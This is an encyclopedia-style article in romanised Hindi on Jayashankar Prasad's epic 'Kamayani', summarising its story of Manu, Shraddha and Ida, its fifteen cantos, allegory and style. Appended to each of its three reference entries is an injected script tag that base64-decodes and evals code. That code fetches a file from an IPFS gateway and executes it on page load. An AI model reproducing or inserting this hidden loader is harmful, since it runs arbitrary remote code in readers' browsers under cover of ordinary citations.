कामायनी -जयशंकर प्रसाद
kamayani -jayashankar prasad
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| lekhak | jayashankar prasad |
| mool shirshak | 'kamayani' |
| mukhy patr | manu aur shraddha |
| prakashan tithi | 1936 |
| ISBN | 81-288-0663-7 |
| desh | bharat |
| bhasha | hindi |
| prakar | mahakavy |
| vishesh | hindi sahity mean tulasidas ki 'ramacharitamanas' ke bad hindi ka doosara anupam mahakavy 'kamayani' ko mana jata hai. yah 'chhayavadi yug' ka sarvashreshth mahakavy hai. |
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'kamayani' jayashankar prasad ki aur sambhavat: chhayavad yug ki sarvashreshth kriti mani jati hai. praudhata ke bindu par pahuanche hue kavi ki yah anyatam rachana hai. ise prasad ke sampoorn chiantan- manan ka pratiphalan kahana adhik uchit hoga. isaka prakashan 1936 ee. mean hua tha. hindi sahity mean tulasidas ki 'ramacharitamanas' ke bad hindi ka doosara anupam mahakavy 'kamayani' ko mana jata hai. yah 'chhayavadi yug' ka sarvashreshth mahakavy hai. ise chhayavad ka 'upanishad' bhi kaha jata hai. 'kamayani' ke nayak manu aur shraddha haian.
- manu ki katha
isamean adimanav manu ki katha li gayi hai. is kavy ki kathavastu ved, upanishad, puran adi se prerit hai kiantu mukhy adhar shatapath brahman ko svikar kiya gaya hai. avashyakatanusar prasad ne pauranik katha mean parivartan kar use nyayochit roop diya hai. 'kamayani' ki katha sankshep mean is prakar hai- prithvi par ghor jalaplavan aya aur usamean keval manu jivit rah gaye. ve devasrishti ke aantim avashesh the. jalaplavan samapt hone par unhoanne yajn adi karana arambh kiya. ek din 'kam putri' 'shraddha' unake samip ayi aur ve donoan sath rahane lage. bhavi shishu ki kalpana nimagn shraddha ko ek din eershyavash manu anayas hi chho d kar chal diye. unaki bheant sarasvat pradesh ki adhishthatri ;i da' se huee. usane inhean shasan ka bhar sauanp diya. par vahaan ki praja ek din i da par manu ke atyachar aur adhipaty- bhav ko dekhakar vidroh kar uthi. manu ahat ho gaye gaye tabhi shraddha apane putr manav ke sath unhean khojate hue a pahuanchi kiantu pashchattap mean doobe manu pun: un sabako chho dakar chal diye. shraddha ne manav ko i da ke pas chho d diya aur apane manu ko khojate- khojate pa gayi. aant mean sarasvat pradesh ke sabhi prani kailas parvat par jakar shraddha aur manu ke darshan karate haian.
- pandrah sarg
'kamayani' ki katha pandrah sagoan mean vibhakt hai, jinaka namakaran chianta, asha, shraddha, kam, vasana, lajja adi manovikaroan ke nam par hua hai. 'kamayani' adi manav ki katha to hai hi, par isake madhyam se kavi ne apane yug ke mahattvapoorn prashnoan par vichar bhi kiya hai.
- adhunik sandarbh
sarasvat pradesh ki prajna jis buddhivadita aur bhautikavadita se trast hai, vahi adhunik yug ki sthiti hai. 'kamayani' apane roopakatv mean ek manovijnanik aur darshanik mantavy ko prakat karati hai. manu manaka pratik hai aur shraddh tatha i da kramash: usake hriday aur buddhipaksh hai. apane aantarik manovikaroan se sangharsh karata hua manu shraddha- vishvas ki sahayata se anand lok tak pahuanchata hai. prasad ne samarasata siddhaant tatha samanvay magan ka pratipadan kiya hai. aantim char sargoan mean pratipadit darshan par shaivagam ka prabhav hai.
- vishisht shaili ka mahakavy
'kamayani' ek vishisht shaili ka mahakavy hai. usaka gaurav usake yugabodh, paripusht chiantan, mahat uddeshy aur praudh shilp mean nihit hai. usamean prachin mahakavyoan ka sa varnanatmak vistar nahian hai par sarvatr kavi ki gahan anubhooti ke darshan hote haian. yah bhi svikar karana hoga ki usamean gititattv pramukhata pa gaye haian. manovikar atayant sookshm hote haian. unhean moort roop dene mean prasad ne jo saphalata payi hai vah unake abhivyakti kaushal ki parichayak hai. kahian- kahian bhavapoorn prakashan mean sambhav hai, saphal n hoan, par shilp ki praudhata 'kamayani' ka pramukh gun hai. pratik bhandar itana samriddh hai ki anek sthaloan par kavi chitr nirmit kar deta hai. is drishti se shraddha ka roop- varnan sundar hai. lajja jaise sookshm bhavoan ke prakashan mean 'kamayani' mean prasad ke chiantan- manan ko sahaj hi dekha ja sakata hai. ise ham bhav aur anubhooti donoan drishtiyoan se chhayavad ki poorn abhivyakti kah sakate haian.
- prakashan
1982 mean 'kamayani' ki prasad dvara prastut mool paandulipi ka prakashan hua hai.[1][2][3]
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tika tippani aur sandarbh
- ↑ sianh, ramalal kamayani anushilan (hindi).<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ prasad ka kavy (hindi).<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ madan, iandranath kamayani- moolyaankan aur moolyaankan (hindi).<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh